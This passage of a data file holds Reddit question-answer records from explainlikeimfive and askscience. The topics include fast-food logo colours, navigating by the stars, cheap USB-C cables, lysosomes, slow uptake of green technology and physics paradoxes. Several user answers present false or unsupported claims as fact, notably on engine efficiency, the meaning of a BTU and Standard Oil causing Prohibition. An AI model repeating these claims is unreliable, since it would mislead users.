{"q_id": "25t7qi", "title": "why do fast food restaurants share the same color schemes, red, yellow, and white?", "selftext": "Was doing a marathon drive last night and realized that many fast food companies share the same color combinations with their logos. Why is this? \n\n[In N Out](_URL_5_) vs [McDonalds](_URL_1_) vs [Carls Jr](_URL_0_) vs [Burger King](_URL_3_) vs [Wendys](_URL_4_) vs [KFC](_URL_2_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25t7qi/eli5_why_do_fast_food_restaurants_share_the_same/", "answers": {"a_id": ["chkhzun", "chkiiiu", "chkitbe", "chkjumv", "chkjwsn", "chkkh77", "chkl86g", "chkmpd2", "chknuf9", "chkooa1", "chkpfh4", "chkppho", "chkqniy", "chkrq3y", "chkrxv6", "chks6e8", "chktdgz", "chkwpxh", "chkzx2c"], "score": [548, 20, 228, 78, 7, 618, 6, 8, 10, 4, 2, 3, 2, 2, 2, 2, 2, 2, 2], "text": ["Warm colours are meant to make you feel hungry, so you spend more.", "These bold colors are not relaxing, resulting in quick customer turnover. The idea was people dine on their fast food, and leave quickly, freeing space for more clientele. There has been a shift in decor in recent years though.- restaurants are being updated with softer more relaxing natural colors, cushioned booths, televisions and free wi-fi. I imagine the reason is to gain customers with an inviting environment since fast food has been ostersized with its connection to obesity. ", "The colours have a very significant effect on the mind. \n\n**Red** creates a sense of urgency, and makes you feel hunger. This is to make you think quickly and about speed, as they want you to choose to go in quickly. \n\n**Orange** is a controversial colour, with people having very contrasting opinions on it, making it stand out and stick to your mind. As well as this, orange is considered a welcoming colour. \n\n**Yellow** makes you happier, and makes you more likely to spend more, eat more and enjoy the restaurant, returning again because you enjoyed it. \n\n**White** doesn't fit into the scheme too well funnily enough, as white in food advertisements usually symbolizes cleanliness, low-fat, healthy food and dairy. It is used more as just a passive color against the bright oranges and reds, as black is oppressive and grey represents luxury and exclusivity, not fitting with the point of fast food; easily accessible and cheap.\n\nOther colours have meanings as well, but these are the main reasons that they are used in the logos.", "I heard about a study were volunteers were asked to try collection of washing machine detergents over the course of 6 weeks. \n\nEach week the applicants were given a new box of detergent  to try. They were then asked to test each one and rate them accordingly based on how effective they believed them to work. \n\nTurns out the only thing that differed each week was the colour of the box that the detergent came in - the content was exactly the same every time!  \n\nDespite this, the results showed that the majority of the applicants preferred and rated the detergents that came in the red and yellow boxes as the most effective at washing their clothing.\n\nBrands and companies spend a lot of money on studies like this for a reason. ", "I believe they are particular shades that appeal to young children. I'm not being snarky. McDonald's adjusted their colours in the 80s and it made a big difference to sales. Kids like big primary colors. ", "Ketchup, mustard, mayonnaise.\n", "I read something that said the clash of really bright red and yellow is uncomfortable to the eyes. This makes people want to leave the restaurant. It's the same reason they often have incredibly uncomfortable seating options. They don't want people sitting around and enjoying themselves, they want you in then out immediately for a steady flow of customers and therefore more $$$.", "Everyone's trying to make this more interesting than it is.\n\nIf the McDonald's logo were orange and green and black, the others would be too. ", "The color red catches the human eye better than any other color in the color wheel which is why it is used a lot in advertising as well as safety warnings, traffic signs, emergency vehicles, etc...It also can give a person the impression of speed, quickness as others in this thread have mentioned which is why it is the color of choice for fast food chains because it is the most distinguishable color and makes people think of speed.\n\nAs for the yellow, it is in the same analogous color group as red and provides a much better contrast to red than orange which serve better as a color gradient between yellow and red.\n\nFor the color white, when red and yellow are concerned, a white outline or use of between the colors makes the red and yellow appear brighter thus creating a better \"color pop\" effect whereas using a black outline with yellow and red would give the colors a sense of heaviness, dread, or danger.\n\nTLDR: Red+Yellow+White= Bright pop of colors, eye-catching, light, fun, exciting, etc.\n\nRed+Yellow+Black= Darkens red and yellow, reduces contrast while adding heaviness, gives a sense of foreboding, dread\n\n", "They are all owned by the Reptilians of the New World Order.", "I was once told that the yellow and red McDonalds sign in front the green roof of the stores would be something to do to with it being the easiest to spot from a distance because of when we were all monkeys, we would be looking out for the red/yellow berries against the green leaves.\n\nI was also very gullible, so there's that.", "I have heard that those particular colors are selected because people's appetites are stimulated by the colors red, orange, yellow and white.  Even weirder, I hear it has something to do with chakras and the metaphysical light they produce/absorb. ", "*It's all mcDonalds*\n\n      -Jim Gaffigan", "so I'm going to go out on a limb here and mention fire.  fire usually means good warm food to people, and has for millennia. additionally, cooked food can obviously have many different colors but they are often browner or yellower than they were while uncooked.  bold reds and yellows with sharp contrasts can put thoughts of warm food into the customer's mind subconsciously and make them hungry.  background whites can keep a high level of contrast while also keeping the whole \"bright fire\" image going.", "Fun fact from the movie theatre: orange makes people buy popcorn. ", "Red yellow orange and white are all colors connected to the feeling of urgency. Also why they are used in sales or clearances. When you go into a fast food restaurant, they want you to eat and leave to make room for new customers. Unlike nicer restaurants that use cool colors.  They want you to stay because you'll spend more.", "- Ketchup\n- Mustard\n- Bread", "Interestingly, in France, Germany  &  UK (and probably other places in Europe) the dominant colour used by McDonalds isn't Red or Yellow, *but green and black.*\n\nExamples:\n_URL_5_\n\n_URL_2_\n\n_URL_3_\n\n_URL_1_\n\n_URL_4_\n\n_URL_6_\n\nAs I understand it, this was part of a major rebranding exercise back in 2007-ish, an attempt to try and capture the \"coffee shop\" atmosphere that's pretty popular over here, it also came with a big redesign of most of the interiors, which brought in lots of [leather chairs and wooden tables.](_URL_0_)", "Whoa people in this thread are way overthinking it. \n\nThose have been McDonald's colors since 1940. McDonalds is king. Everyone wants to be McDonalds. Back in the days (WAYYYY) before any real attempt at psychology was even remotely considered in marketing tactics, the favorite technique was \"let's do what the big dog does!\" \n\nIt's as simple as that. \n\nYou'll notice that all of the restaurants that have red, white, AND yellow are all just burger joints. Like mcdonalds. Other types of fast food chains that aren't burger based use different colors because they're not necessarily trying to be/beat mcdonalds. Taco Bell, subway, tropical smoothie, etc etc.  \n\nEdit: the people saying all of the psychology stuff aren't wrong, but they're applying modern thinking to a 50+ year old problem. No one gave a shit how colors made you \"feel\" in the 40s 50s and 60s. People still believed in Freud's Oedipus complex. Come on. "]}, "title_urls": [], "selftext_urls": ["http://www.franchiseamericafinance.com/images/stories/carls%20jr%20logo.jpg", "http://img2.wikia.nocookie.net/__cb20130603185417/logopedia/images/b/ba/Mcdonalds_logo.png", "http://i2.cdn.turner.com/money/galleries/2009/fortune/0906/gallery.dumbest_moments_midyear2009.fortune/images/kfc_logo.jpg", "http://3.bp.blogspot.com/_7yB-eeGviiI/TMxCxT97T8I/AAAAAAAACmA/Pyejw46kLIg/s1600/burger+king+logo.jpg", "http://static3.businessinsider.com/image/5076c8c46bb3f7b05800001e-960/screen%20shot%202012-10-11%20at%209.06.54%20am.png", "http://blogs.ocweekly.com/stickaforkinit/in-n-out-logo.jpg"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://static.guim.co.uk/sys-images/Eek/Pix/site_furniture/2010/03/12/page10.jpg", "http://www.laurapappashealth.com/wp-content/uploads/2012/07/McDonalds-talks-up-nutrition-at-Olympics-V01UIKHD-x-large.jpg", "http://eurokulture.missouri.edu/wp-content/uploads/2009/11/mcdonalds-dissen.jpg", "http://karenhaller.co.uk/blog/wp-content/uploads/2011/03/Branding-mcdonalds-green.jpg", "https://c1.staticflickr.com/7/6165/6163016020_30a12a138c_z.jpg", "http://4.bp.blogspot.com/_HUgg4xyCD50/SEE2inL2YbI/AAAAAAAABgU/XMEdYfWRguE/s400/new+mcdonalds.jpg", "http://www.fooddigital.com/franchising/mcdonalds-milan.jpg"], []]}
{"q_id": "2465xg", "title": "i'm lost in the wilderness with no gps or phone, how do i use the stars to tell me where i am or what my heading is?", "selftext": "I loved adventure books and the like when I was younger and still enjoy the genre but there was one thing that I could never get my head around.  How do I use the stars to tell where I'm going or where I am.  You always hear \"follow the north star\" or something but how do I even find it?\n\nTL;DR:  How do I use the stars for directions?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2465xg/eli5_im_lost_in_the_wilderness_with_no_gps_or/", "answers": {"a_id": ["ch3zkqt", "ch3zn6g", "ch40lhm", "ch40ppb", "ch418os", "ch41ian", "ch427wp", "ch42lic", "ch43dbw"], "score": [2, 6, 8, 4, 3, 7, 2, 2, 2], "text": ["the sun rises in the east and sets in the west.", "I really don't know, man.. just bring a hatchet. ", "That \"moss grows on the North-side of trees\" thing is a myth.  Moss grows basically anywhere there's enough moisture.  The idea is that the north side of a tree sees less sun so it should be more moist, but in a forest, it's pretty evenly moist on all sides of a tree.  If you can find a tree that isn't getting shade from anywhere else (like in a field or a small grove), it's more likely its moss is North-facing, but still not guaranteed.\n\nFinding the north star is pretty easy.  First, you find the Big Dipper.  It's huge, and in most of the Northern Hemisphere, it's visible year-round.  If you continue the line formed by the \"right-most\" stars (assuming you're looking at it the usual way up), this line points to the North star.  You'll know it's the North star because it's part of the handle of the Little Dipper.  Then the point on the horizon nearest to the North star is (more or less) North.\n\n~~If you're somewhat far from civilization, look for the Milky Way.  It looks kind of like a string of wispy, slightly glowing clouds with a **ton** of stars around it (it is a galaxy, after all) that stretches continuously from one side of the sky to the other.  It runs from North to South, so that'll give you an idea of where to look for the Big and Little Dippers.~~  Can't be used reliably.\n\nLink: [Moss Facts](_URL_0_)", "If you're in the northern hemisphere, then learning to find the North Star would indeed be the first thing to do. That'll immediately tell you where north is, it's in the direction where the North Star appears to be, regardless of time of day or where you are (as long as you are in the northern hemisphere). \n\nTake a look at [this](_URL_2_). It shows you how stars behave throughout the year and day. A few conspicuous constellations (or asterisms) are marked. The North Star is at the end of the tail of the Little Dipper. But probably the easiest way to find it is to find the Big Dipper first, this is more easily recognised in the sky. The page shows how you find the North Star by following an imaginary line formed by two of the stars in the Big Dipper. How high the North Star appears in the sky depends on your latitude. So if you know your latitude roughly, that'll give you a rough idea of where to look. At the equator it'll be at the horizon, at the North Pole directly overhead, and somewhere in between for the latitudes between those extremes. \n\nIf you drag around the clock handles or the arrow in the calendar, you'll see how the stars rotate around the North Star. So other stars may be in many different compass directions but the North Star always is directly north. If you know the date, you can work out time of day from the rotation of the other stars.\n\nAll that only really gave you the compass directions, not your position. I'll briefly explain how to figure out your position too but this isn't really of much use in practical situations. If you have no idea where you are on the globe (how you would end up in a situation like that I have no idea), then you could figure out your rough position fairly simply, but any greater accuracy will require [special tools](_URL_0_) to measure angles accurately.\n\nThe elevation of the North Star immediately gives you your latitude, so that's very easy. Your latitude is simply the angle between the horizon and the North Star. Longitude is a bit trickier. If you play with the demonstration I linked, you'll notice how the stars rotate with both time of day and day of year. Time of day here means your local time. If you know your local time, and time at some reference longitude (like the prime meridian), then you can work out your longitude from there. One hour difference means 15 degrees of longitude (360 degrees / 24 hours). Essentially you're working out the time zone difference which tells you how much east or west you have gone. So all you need now is to have a clock set to the time of the reference longitude and then compare your local time (determined from the stars or the Sun at noon) with the reference time. So that should tell you why having [a clock that keeps time well was crucial for navigation in the age of sail](_URL_1_). For everyday things you could always look up to roughly determine your local time. For navigation, you had to have the accurate time somewhere else than where you happened to be.", "ITT nothing that will save you", "I believe [this](_URL_0_) will answer your question.", "If you're really lost and in survival mode: find water and follow it down stream. Springs go to creeks which go to rivers and you will find civilization. ", "You only really need to know 3 constellations. Ursa Major (the big dipper), Ursa Minor (the little dipper), And Cassiopeia (the W thing), you can google all of these for pictures. The north star is the end of the handle in the little dipper. The big dipper and the W are on opposite sides of the north star, and rotate around it over the course of a day. Even if one of them is below the horizon, at least one should always be visible. From the big dipper, follow the two stars up (by up i mean from the normal orientation you'd expect a pot to be in) from the outer edge of the pot. From the W, just look above the W (again by above i mean the normal orientation of a W, keeping in mind it might appear upside-down in the sky). \n\nIf you hold your hand out at arms length, the angular distance across your hand's width should be close to 10 degrees. The angular distance between the big dipper and the north star should be about three hand's widths. \n\nIf you learn certain pointer stars, and angular distances, you can get from any constellation to nearly any other constellation, but most aren't very useful for navigation. Also, do not simply follow the north star.. if you know you are north of the main road, then walk away from the north star, common sense. ", "If you're in the Northern Hemisphere, learn to find the North Star as /u/Pee_Earl_Grey_Hot said [here](_URL_0_). If you wear an analog watch, you can use [this method](_URL_1_) to find north during daylight. Remember to use the 1 instead of the 12 when you're on Daylight Saving Time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.mossandstonegardens.com/blog/the-truth-about-moss-dispelling-moss-myths/"], ["http://en.wikipedia.org/wiki/Sextant", "http://en.wikipedia.org/wiki/Marine_chronometer", "http://astro.unl.edu/classaction/animations/ancientastro/dipperclock.html"], [], ["http://www.aaronsw.com/2002/fleep/"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/2465xg/eli5_im_lost_in_the_wilderness_with_no_gps_or/ch402bj", "http://www.youtube.com/watch?v=mSPtnAN9G7s"]]}
{"q_id": "43yg99", "title": "why is it companies that make devices with usb type c like google and apple have to warn people not to use bad cables. wouldn't companies that make those cables benefit from making good cables?", "selftext": "I was reading on r/android about a guy who had his $1500 computer destroyed because he was testing a new cable. Wouldn't manufactures benefit from people buying all new cables for their new devices?  _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43yg99/eli5_why_is_it_companies_that_make_devices_with/", "answers": {"a_id": ["czlz5im", "czlzibz", "czm4qok", "czmbmdi"], "score": [21, 36, 6, 2], "text": ["If I make 10,000 cheap cables, and they cost me 5 cents per cable, and I sell them for $1/cable, I make $0.95 per cable. That's $9,500 profit if I sell them all. At that point, if I'm unscrupulous, I really don't care if the cable works for you or not. I've made my money. \n\nNow imagine I made 100,000 crappy cables, they cost me 2 cents a piece and I sold them for $1.50, and I'm a terrible person. I still made an assload of money off you. ", "Turns out,  making specs compliant cables for usb-c is slightly different than making all of the other USB variants. \n\nManufacturers made millions of them on the super cheap and didn't worry. USB micro-b that all the older devices used was pretty safe.   12 watts max,  only so much damage is likely,  even with bad cables.  (usb-c is anywhere from 12w to 100w)\n\nThen Benson called them out on their bad cables,  and a few people started reporting melted devices,  and now cheap crappy importers have millions of bad cables to try and get rid of,  and not much capacity to verify whether the cables are safe. It is very easy to buy 25000 of them and only later realize you've been shafted ", "I can tell you from personal experience that when the google product you're referring to was released, you could have sold cardboard rectangles and had the market cornered for protective cases at the time of release.\n\nThere would have been some of this can-be-sold opportunism about and it wouldn't have died out completely.\n\nThere was also a google engineer doing some commendable work that illustrated you can put out varying levels of \"quality\" of USB-C that the general public wouldn't really understand....\n\n_URL_0_\n", "Companies benefit from selling products for more money than they cost to make and market.\n\nSome companies, in order to sell products, make the thing the cheapest they can and sell it to people who only buy based on price, not quality. As long as there is a market of people who don't factor in any aspect other than price into a purchase decision, there will be companies who want to sell those people cheap junk. Even if these companies get 0% return business, there will always be more people who only want the cheapest version of a product they can buy.\n\nNot all companies use that strategy, but because different people buy based on different criteria, we end up with a vast range of products in many categories, some of which are junk designed to appeal to cheap folks."]}, "title_urls": [], "selftext_urls": ["https://plus.google.com/+BensonLeung/posts/HzkGqnWcyYM"], "answers_urls": [[], [], ["http://www.engadget.com/2015/11/04/google-pixel-engineer-vs-shoddy-usb-type-c-cables/"], []]}
{"q_id": "bs3yni", "title": "Lysosomes - are they more specialized than what I am led to believe in basic physiology lectures?", "selftext": "hi! \n\n & #x200B;\n\nthere have been several different times when I came up with a version of the same question: *how do lysosomes \"know\" what to digest?*\n\nexample to illustrate what I mean:\n\n* in thyroid hormone production, thyroglobulin (TGB) is taken up by the follicular cell. the endosome, full of TGB, fuses with a lysosome, which digests the TGB to release free T3/T4. \n   * how is it that the lysosome does not end up digesting the T3/T4 as well? do follicular cells express only certain kinds of enzymes that only break specific bonds within TGB and leave T3/T4 intact?\n\n & #x200B;\n\nbasically - we're taught that lysosomes are these enzyme-filled bags that just digest anything they come across, but that seems very simplistic, and I am curious to know more about their heterogeneity!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bs3yni/lysosomes_are_they_more_specialized_than_what_i/", "answers": {"a_id": ["eoj70s3", "eoo2fzu"], "score": [13, 2], "text": ["Lysosomes are indeed enzyme-filled, acid bags. The main enzymes they contain are hydrolases however, which will hydrolyze your typical macromolecular bonds like peptide bonds, sugar-phosphate bonds, or glycosidic bonds,  thereby mainly digesting proteins, dna, and polysaccharides respectively. Small molecules with few or no hyrolyzable bonds will remain pretty safe. So T3 and T4 can be recycled out of the lysosome and may or may not get digested elsewhere, while the functional molecules like proteins will be digested away.", "/u/sometimesgoodadvice had an excellent answer. I just wanted to add that there is control over what gets introduced to the stuff inside lysosomes. Not every endosome will be fused to a lysosome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2nkekb", "title": "Why is the green revolution taking so long?", "selftext": "I'm hoping to avoid conspiracy theories here.\nThe information technology and medicine fields have moved incredibly quickly over the last few decades.\nBut the green movement keeps coming up with concepts but nothing major really makes its way to the consumer.\nbasically is there any real reason for the slow developememt of green technology for the everyday consumer?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nkekb/why_is_the_green_revolution_taking_so_long/", "answers": {"a_id": ["cmedr9z", "cmeeb6v", "cmeejqg", "cmehypw", "cmeinw8", "cmeknsw", "cmelpla", "cmesch6", "cmese9m", "cmf5x4a", "cmg0xjs"], "score": [2, 5, 93, 10, 2, 8, 2, 4, 21, 3, 2], "text": ["Physics.  There really is nothing that packs as much energy as reliably as fossil fuels.  Only Nuclear is scalable to meet the increasing need.  There may be something in the future, but there really isn't now. It's not a conspiracy by Big Oil.  If there was something being \"kept hidden\", China or another non-US allied country would be using it.", "It is not so much a technical issue, but an economic issue. Fossil fuels are more cost efficient and big money does not seem to be interested. And without money, you can't get far. \n\nThe green movement still feels a little like moneyless hippies eating only hummus and roots. But just as the medicine and information technologies, the green movements have made huge steps. A lot of projects all over Europe popping up.", "My answer would be that it only seems that way to you because you haven\u00b4t been paying attention. Please see:\n\n1) [Installed global solar capacity by year](_URL_1_)\n2) [Installed global wind capacity by year] (_URL_4_)\n\nBoth have seen exponential growth this decade. (Solar in particular is doubling every year or two) The prices of solar electricy has dropped an [insane amount](_URL_3_) in just the last four years or so. [Wind and solar is starting to compete on price with conventional energy](_URL_2_). As an example, I live in a country in which the largest single contributor to the electricity used in the national grid [over the course of last year was wind power](_URL_0_) (not talking about capacity, but actual energy in MWh). Add in other renewables (including of course, big hydro) and cogeneration and spain\u00b4s electrical use is over 50% renewable and/or non-conventional.\n\nThis last decade has been incredible. Now, that doesn\u00b4t mean its going fast enough yet to avoid drastic climate change, because at the moment it is still too slow (ie that paper by the google guys in IEEE spectrum).\n\nAnd of course, this is just on the energy production side, as another poster mention, on the consumption side, we could look at LED lighting and electric cars going mainstream (of course the latter isn\u00b4t necesarily green but can be).", "Thanks for the replies. I see alot of you guys have been exposed to proper green power in your countries, notably Netherlands and Germany. I suppose it's very different if the first world. In South Africa we running mostly coal power. So was interesting exposure. ", "There will be no easy simple answer. \n\nIn part, you'll have to take into account the durability of replaced tech. Eg: if you switch your older car for an electric one, it doesn't dissapear, but moves into the second-hand tier of the economy, where it is still in use and emitting carbon untill it is eventually decomissioned, perhaps decades into the future. So there is a sortof trickle down effect in place.\n\nThen, there is profound resistance by stakeholders in the production of older tech to maintain the status quo. Look at the coal lobby in Straya and the US for examples of their influence. Switching to new tech and abandonnig older systems will result in all likelyhood in a relocation of at least some economic centres, and people tend to resist that.", "From a pure engineering standpoint I would say energy storage technology is the major limiting factor for broad scale renewable energy production, itself a subset of what I'd consider the \"green revolution.\" It's great to be able to pump out huge amounts of power intermittently but if you can't match that power to demand it's useless. \n\nWhich brings us to another issue, which is distribution infrastructure: legacy grids aren't designed to handle unpredictable spikes in energy production such as those from wind and solar farms, and so \"smart grid\" rollout becomes a necessary addendum to the increasing share of the energy production pie held by such intermittent sources.\n\nAs far as technologies for the everyday consumer, ultimately people tend to optimize primarily for themselves and their loved ones, so companies can't effectively market expensive products if the only differentiator from much cheaper competitors are that its \"better for the environment.\" This ties into what I believe is really the major barrier, which is that there is simply a malaise amongst the general population (and our elected officials as a result) regarding the capacity for globally unified action on the types of social/environmental/emission issues that make the difficulty of implementation worth it. \n\nNow, I would point out that there is progress being made on all of these fronts, but what we're seeing is more akin to a creeping change, based on direct cost savings and, at best, mid term thinking by companies due to a loose expectation of eventual carbon pricing mechanisms, than a revolution based in moral rectitude. A few governments serve as counter examples, and a price on carbon (at almost any level) would get the market off the sidelines which is what would really spur the process. Markets that inherently value human life and the integrity of the biosphere would obviate the need for appeals to morality which (sadly) seem to define the green movement for many.\n\nThis is my first post on reddit so I apologize for any formatting issues.\n\nedit: formatting\n", " The best green I've seen are LED lights, lower wattage ICs and new fridges using propane vs Freon. Problem is, durability vs parts availability. We HAD products that lasted 20+ years but the desire for sales ruins the majority of 'green' causes.\n Many have bought 'green' efficient products that proved problematic and were discontinued, total defeat in the concept as they litter the landfills.", "Money. More specifically who has it now, and who stands to make more or lose it if bio/renewable fuels gain traction. Solar, wind, geothermal,  and others have various things to overcome. My experience is with ethanol and gasoline engines.\n\nThere are ways to produce smaller more efficient engines that make the same or more power on ethanol compared to gasoline and diesel engines, and that includes higher mileage. The problem is a gasoline engine simply can't be used in an engine optimized for straight ethanol. The compression ratio is far too high, the fuel is heated in the rails ahead of the injectors, and they like to operate best between 210f and 235f, all of which cause huge problems with gasoline. Preignition, vapor lock, over heating, and carbon build up exacerbating those problems on gas.\n\nUsing ethanol in an engine handicapped for gasoline results in more power, but less mileage. It's not the BTU content causing the disparity, it's not working the fuel hard enough and not utilizing the heat produced.\n\n First, BTU is a measurement of how much fuel it takes to heat one pound of water one degree. It doesn't account for anything else, and a gallon of gasoline,  half a stick of dynamite, and seven pounds of firewood all have the same BTU content. They all have widely disparate effects when releasing those BTUs.\n\nSecond, gasoline engines cannot achieve greater than 20% efficiency,  meaning 80% of the energy goes to waste heat. Most never come close to 20% efficiency, that's the max you can get in a lab. Ethanol gets real world efficiency of 40% and 42%in the lab, at least according to the US Navy testing in 1942. Ethanol engines produce more power than gas engines all else being the same, but optimized ethanol engines crush gas engines.\n\nThere is also planned obsolescence to consider. Ethanol engines do not have carbon build up, and thus virtually no wear inside. Oil changes come out as clean and clear as when put in, even after 9,000 miles of driving. The only reason to change the oil in ethanol specific engines is thermal breakdown of the oil itself. Engines would live for a million miles with no appreciable wear. Essentially lasting forever, and requiring fewer new cars to be built.\n\nWho owns rubber and plastic production? Who supplies the auto manufacturers with those parts? Throw in engines lasting indefinitely and there is little incentive for automakers to build ethanol specific engines. It's not a conspiracy,  it's simple business. You don't bite the hand that feeds you. Gasoline ensures people I'll want a new car after 100,000 miles.\n\nI have built ethanol specific engines that get better mileage and make vastly more power than the exact same engine with low enough compression to run pump gas. 500hp + 7.5L engine with 1969 vintage parts that gets 20mpg on ethanol using a Quadrajet carburetor rather than electronic fuel injection. EFI would increase mileage considerably, and it's in future plans. How many engines make that much power under 6000rpm, naturally aspirated, with EFI and get 20mpg on gas?\n\nI'm working on a 3.8L GM v6 that will run ethanol,  and 300hp with 30mpg should be very easy to achieve. \n\n", "Maybe off-topic, but the phrase 'the Green Revolution' is usually reserved for referencing a dramatic increase in agricultural production in the 1960s (_URL_0_). Norman Borlaug won a Nobel Peace prize for his involvement.", "Quick dirty answer. Cost.\n\nWhen green tech becomes cheaper and better than the equivalent dirty tech, the revolution will be here.  \n\nIt will be a series of revolutions for each tech. The LED light revolution is already here.", "I've found that fossil fuel interests have always been sufficiently profitable that they can afford to lobby to assure renewable energy interests will not gain a lasting foothold.  I'll provide one early example:  Coal and wood were readily available energy sources early in the development of the United States.  Around 1860, crude oil was first applied to the manufacture of kerosene for lighting and heating. Overnight, the oil industry was born. Gasoline was a useless byproduct of the kerosene refining process, and was often loaded onto ships and dumped out to sea. When automobiles showed up around 1900, cheap gasoline found its first reliable market. Cars ran on kerosene, gasoline, and ethanol back then. Born a farmer, Henry Ford made sure all of his cars ran on ethanol, since it was cheap and easy to make on the farm. With the advent of Edison light bulbs, the kerosene market had not grown sufficiently to keep up with rising demand for gasoline. Standard Oil anticipated a gasoline shortage and began developing \"cracking\" technology to increase gasoline production, but development started a bit late.  Standard Oil experienced the world's first gasoline shortage in 1915, causing prices to rise and cars to switch to cheaper ethanol. Using the ruthless business protocols which allowed it to become an oil monopoly, Standard Oil (John D. Rockefeller, Jr.) then lobbied Congress to increase taxes on alcohol to regain gasoline market share, but this tax created an ethanol black market which kept ethanol prices cheap. Standard Oil then funded and organized church groups to the tune of 75 million dollars (in today's dollars) to temporarily give voice to an ineffective temperance movement while greasing Congress, buying for us in 1920 the 18th Amendment to the Constitution, also known as Alcohol Prohibition. Henry Ford declared during Prohibition in 1925 that corn alcohol was \"the fuel of the future\". Ford was the last (and most important) of the car companies to offer ethanol as a fuel option, but the Great Depression forced Ford to economize, making gasoline the only fuel option in their all-new Flathead V-8 engine of 1932. Having won the fuel war, John D. Rockefeller, Jr. then ended Prohibition in 1933 by sponsoring the 21st Amendment. Back in 1919 the church groups offered a real message, but they were just a decoy. The fossil fuel industry continues to spend just enough to create Federal and State laws which cripple competition while they fund popular campaigns which support these competition-crippling laws."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.rtcc.org/2014/01/06/wind-power-generated-largest-part-of-spains-electricity-in-2013/", "http://cleantechnica.com/files/2014/04/world-solar-power-capacity.png", "http://www.nytimes.com/2014/11/24/business/energy-environment/solar-and-wind-energy-start-to-win-on-price-vs-conventional-fuels.html?_r=1", "http://reneweconomy.com.au/wp-content/uploads/2014/04/bernstein-solar.png", "http://upload.wikimedia.org/wikipedia/commons/1/1d/Global_Wind_Power_Cumulative_Capacity.svg"], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Green_Revolution"], [], []]}
{"q_id": "5gp5m5", "title": "why do vinyl singles have a bigger hole?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gp5m5/eli5_why_do_vinyl_singles_have_a_bigger_hole/", "answers": {"a_id": ["datz57m"], "score": [2], "text": ["The hole was partially created so one business could get around paying patent royalties to another, but the big difference was that you could put the larger holed singles into a stack player, and play multiple records in a row.  Playing up to an hour of random music with a special device.\n\nAlso, since the records have to spin up quickly, the smaller holes are more easily damaged.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ajournalofmusicalthings.com/why-is-the-hole-on-a-45-rpm-record-so-big/"]]}
{"q_id": "3h1ji1", "title": "answer an eli5 faq- zeno's paradox, the grandfather paradox, einstein's twin paradox and schrodinger's cat", "selftext": "Help ELI5 explain this common question so that we can redirect future posters here. \n\nZeno's Paradox\n_URL_0_\n\nGrandfather paradox\n_URL_4_\n\nEinstein's Twin Paradox \n_URL_2_\n\nSchrodinger's Cat \n_URL_1_\n\nUseful videos _URL_3_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h1ji1/eli5_answer_an_eli5_faq_zenos_paradox_the/", "answers": {"a_id": ["cu3f9jz", "cu3fjn7", "cu3g69l", "cu3hqh3", "cu3n6cj"], "score": [7, 8, 5, 2, 4], "text": ["The twin paradox:\n\nThe idea of the twin paradox is relatively simple. You have two identical twins, and one of them stays on Earth while the other flies away on a spaceship at a relativistic speed for a while and then returns to Earth. When the traveling twin gets back, he realizes that his Earth-bound twin sibling is much older than him.\n\nRelativity predicts time dilation. That is to say that that if you are moving at a very high, constant velocity relative to me, **I** will see **your** clocks ticking slower. So that explains why the Earth-bound twin would age more than the traveling twin.\n\n**However**, relativity also says that motion at constant velocity is relative. If you are moving at a very high, constant velocity relative to me, **I** am also moving very high, constant velocity relative to **you**, and by the same logic as above, **you** should see **my** clocks ticking slower. And that's true. In this case, we **both** see **each others'** clocks ticking slower. (Remember, we're both moving at constant velocity; there are no accelerations here.)\n\nSo why is it that both twins don't end up at the same age? Why does one age \"normally\" and the other age \"slowly\"? How does nature \"know\" which twin should be older at the end of the experiment?\n\nThe answer lies in the fact that the traveling twin **has to turn around** in order to come back. By turning around, they have **changed** their inertial frame of reference (in simple terms, they must have accelerated at some point in order to turn around and return to Earth).\n\n[Here](_URL_0_) is a diagram of the situation. This is called a Minkowski diagram, and it plots how things \"move\" through spacetime. The horizontal axis represents distance in the direction of motion, and the vertical axis represents time (multiplied by the speed of light so that it has the same units as distance). The line labelled \"outgoing worldline\" represents the trajectory of the twin in the spaceship, and the vertical line \"worldline of A\" represents the motion of the Earth-bound twin. The worldine of the twin on Earth is a vertical line at x = 0, meaning that they stay on Earth for all time. You can see that the twin in the ship moves away from x = 0 (Earth) at some constant speed. So far, both twins have only moved away from each other at **constant velocity**, so they **both** see **each others'** clocks ticking slower, by the same logic as above. But then the twin in the ship turns around (this is represented by the \"kink\" in the worldline, or the corner in the triangle that sticks out on the right). Now the twin in the ship has **changed inertial reference frames**, and begins to head back to Earth at the same constant speed as before, but in the opposite direction.\n\nNow the symmetry between twins is broken. The twin in the spaceship changed reference frames, and the twin on Earth didn't. So by the time the traveling twin gets back to Earth, the Earth-bound twin will have aged significantly more than they have. This is indicated by the red \"lines of simultaneity.\"", "I remember a time about 3 years ago when the Schrodinger's question was weekly, [so I had a book marked reply ready](_URL_0_).", "Zeno's Paradox:\n\nThere are actually multiple Zeno's paradoxes, but the one that seems to be most common is some variation on the following. You want to travel to a point one mile from your starting point. To do that, you first half to travel halfway there - 1/2 mile, leaving 1/2 mile remaining. Then you have to travel halfway across the remaining 1/2 mile - 1/4 mile, leaving 1/4 mile remaining. Then you have to travel halfway across the remaining 1/4 mile - 1/8 mile, leaving 1/8 mile remaining. You can keep repeating that forever, since you can always divide up the remaining distance by half. So how do you ever reach your end point?\n\nThere's the cop-out answer that eventually the distances will get so small that you can't travel less than that distance, but assume that we're playing in abstract math-world, where dividing up a distance infinitely many times is possible. And that *is* what's going on here: [1/2 + 1/4 + 1/8 